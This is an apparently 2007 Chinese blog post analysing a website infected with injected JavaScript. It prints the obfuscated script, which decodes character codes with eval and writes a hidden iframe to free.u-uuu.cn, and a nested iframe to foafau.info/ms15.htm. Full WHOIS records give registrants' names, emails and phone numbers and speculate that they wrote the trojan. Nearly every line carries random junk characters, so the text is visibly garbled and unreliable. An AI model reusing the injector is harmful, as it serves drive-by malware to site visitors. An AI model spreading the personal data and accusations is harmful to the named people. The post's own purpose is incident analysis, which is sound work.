首发在我的博客里面，
l0&U7gr e~1$x`DH http://www.areway.cn/?p=175 XS_Ib\-50 v(GT+i)| qX"m"ko 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
eZbT; By;{Y[@rS <script>t=’60,105,102,114,97,109,101,
.
g8WMm 32,115,114,99,61,104,116,116,112,58,47,47,
{P7 I<^, 102,114,101,101,46,117,45,117,117,117,46,99,
_8{6&AmIw 110,47,101,114,114,111,114,46,104,116,109,
DQy;W ov 32,119,105,100,116,104,61,49,48,48,32,104,
&0Bs ?oq_ 101,105,103,104,116,61,48,62,60,47,105,102,
)VM'^sV? 114,97,109,101,62′;
] vQU(@+I t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
JTS<n4<a m `! Vryf <script>t=’60,105,102,114,97,109,101,32,115,
D> 6vI 114,99,61,104,116,116,112,58,47,47,102,114,
*7`amF- 101,101,46,117,45,117,117,117,46,99,110,47,
"t >WM 101,114,114,111,114,46,104,116,109,32,119,
+'`I] K> 105,100,116,104,61,49,48,48,32,104,101,105,
Yw6d-5=: 103,104,116,61,48,62,60,47,105,102,114,97,
jQ X9KwSP 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
Egm-PoPe document.write(t);</script>
X B[C&3I J ,_IHzO~Z <html xmlns=”
@"vTz8oY@ http://www.w3.org/1999/xhtml q6T>y%|FZ “>
Pm=i(TBS/ <head>
q+1SU 6x'm <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
JfVGs;_, <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
J PmZ%]wA <title>首页 - 爱生活家庭网
f eA(Rj ,0^9VWZV 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
5cZKk/"Ad} 转换字符串后的大概内容是（谁点击后果自付）：
KKGwMJku} <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
JrJTIUf_ ; yDXo\gm 查询玉米u-uuu.cn的详细信息：
"S Fs\] Z Domain Name: u-uuu.cn
<,+6:NmT ROID: 20070901s10001s64972306-cn
m'"Ra- Domain Status: ok
FZ@8&T
Registrant Organization: 王雷
G_5E#{u Registrant Name: 王雷
1vL$k[^&d Administrative Email:
czlovexs@126.com G1S:hw%rp Sponsoring Registrar: 北京万网志成科技有限公司
;_D5]kl` Name Server:ns.yovole.com
pWN5 >HV Name Server:ns1.yovole.com
n1@ Or=5 Registration Date: 2007-09-01 17:54
Mw{skK>b Expiration Date: 2008-09-01 17:54
-z?O^:e#x 最后PING了一下地址 都没有什么….
_/RP3" # ^SJa/I EZ. 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
| X0Ys8f <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
I %#
e\ <script language=”javascript” src=”
n,o;:c http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script idGhWV' >
tbq_ Rg7s 这个玉米应该有可能是木马作者的：
>YP]IQ foafau.info的详细信息：
&k0c|q] Access to INFO WHOIS information is provided to assist persons in
gt:O t0\7 determining the contents of a domain name registration record in the
(IIOVv
1J Afilias registry database. The data in this record is provided by
=:pN8 2.G Afilias Limited for informational purposes only, and Afilias does not
.,( ,< guarantee its accuracy. This service is intended only for query-based
J>S` }p access. You agree that you will use this data only for lawful purposes
s[tFaB 1 and that, under no circumstances will you use this data to: (a) allow,
1`@rA A>h' enable, or otherwise support the transmission by e-mail, telephone, or
v}^
f8nVR facsimile of mass unsolicited, commercial advertising or solicitations
!Z`xwk"! to entities other than the data recipient’s own existing customers; or
- "X}
)N2 (b) enable high volume, automated, electronic processes that send
Rss=ihlM queries or data to the systems of Registry Operator, a Registrar, or
!#H ca Afilias except as reasonably necessary to register domain names or
oQ_n:<3 X modify existing registrations. All rights reserved. Afilias reserves
cwK OE?! the right to modify these terms at any time. By submitting this query,
-nKBSls you agree to abide by this policy.
J6*B=PX=( Domain ID:D22418703-LRMS
T7!=KE_z Domain Name:FOAFAU.INFO
n+;PfQ| Created On:20-Nov-2007 16:05:42 UTC
Bl8&g]dk Last Updated On:20-Nov-2007 16:05:44 UTC
~zA{ =| I2 Expiration Date:20-Nov-2008 16:05:42 UTC
G##^xFx Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
;WpPdR2 Status:CLIENT DELETE PROHIBITED
!Knv/:+ Status:CLIENT RENEW PROHIBITED
{ 1j[RE Status:CLIENT TRANSFER PROHIBITED
||vQW\g Status:CLIENT UPDATE PROHIBITED
EL=}xug,? Status:TRANSFER PROHIBITED
?$\y0lHw/7 Registrant ID:GODA-040110615
(!&g (l; Registrant Name:liu hong
uH?lj& Registrant Organization:
x1ID6kI[{* Registrant Street1:beijing
DozC> Registrant Street2:
uyDYS Registrant Street3:
4!r>
^a Registrant City:beijing
;r
XhK$ Registrant State/Province:
%D:5 S?{ Registrant Postal Code:100000
Ch9A6?=Hj8 Registrant Country:CN
q{t"=@lX01 Registrant Phone:+86.860108888777
hhvP*a_J Registrant Phone Ext.:
-!p -nk@9| Registrant FAX:
p; ZEz<M Registrant FAX Ext.:
Q|W!m0XO Registrant Email:bbbshiji@163.com
: j m|) Admin ID:GODA-240110615
7OOod1 Admin Name:liu hong
hT<:)MG)+K Admin Organization:
C JNz J( Admin Street1:beijing
3tTz$$-# Admin Street2:
QU{\ClW/? Admin Street3:
lt&30nf= Admin City:beijing
I NE,/a= Admin State/Province:
m mn1yX:d Admin Postal Code:100000
, w/f :-y Admin Country:CN
(B zf~#]~ Admin Phone:+86.860108888777
YErn50L Admin Phone Ext.:
5bzY TK&- Admin FAX:
WsCzC_'j. Admin FAX Ext.:
!%2aw0Yv Admin Email:bbbshiji@163.com
+6*
.lRA Billing ID:GODA-340110615
<.<Q .z Billing Name:liu hong
N#`aVW'{v2 Billing Organization:
7" wn0 24 Billing Street1:beijing
:`ysq Billing Street2:
w5(G RAH Billing Street3:
Z0 e+CEzq Billing City:beijing
C4P7 , Billing State/Province:
/fM6%V=Y Billing Postal Code:100000
jdY v*/^ Billing Country:CN
|k4ZTr]? Billing Phone:+86.860108888777
q61
rNOw_ Billing Phone Ext.:
)>LC *_v Billing FAX:
r4c3t,L*$I Billing FAX Ext.:
PHa#;6!5 Billing Email:bbbshiji@163.com
uhLg2G^h Tech ID:GODA-140110615
ab 1\nzpd Tech Name:liu hong
&xqe 8!FeA Tech Organization:
\g}FoN& Tech Street1:beijing
g/q$;cB Tech Street2:
=;3 |?J0= Tech Street3:
CFh&z^]PR Tech City:beijing
Te#wU e-| Tech State/Province:
^IGTGY]s Tech Postal Code:100000
H \3CvFm Tech Country:CN
m(3bO[u1 Tech Phone:+86.860108888777
t7 47SZWgB Tech Phone Ext.:
vN7ihe[C Tech FAX:
'}5}wCLA Tech FAX Ext.:
~^"cq
S( Tech Email:bbbshiji@163.com
HC8{); Name Server:NS27.DOMAINCONTROL.COM
ZX. VzZS Name Server:NS28.DOMAINCONTROL.COM
% KY&E>^ Name Server:
EVj48 Name Server:
#V8 ='qD
Name Server:
,9#G/nF Name Server:
ANCgch\ Name Server:
%;zWS/JhL Name Server:
7q|(ZZa Name Server:
&T}v1c7) Name Server:
U<r<$K Name Server:
&fj&UB A Name Server:
C({L4O#?o Name Server:
kkrQ;i)Z N_VAdNJ^: 接着下载每个文件里面的代码：
PSHs<Z47 一步一步看..
,oP-:q!PC 
^%d+nKx9nL 
3a{Qk VeV7 
hP,1 ;`[1 
wrn[q{dX 
?k_=?m 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
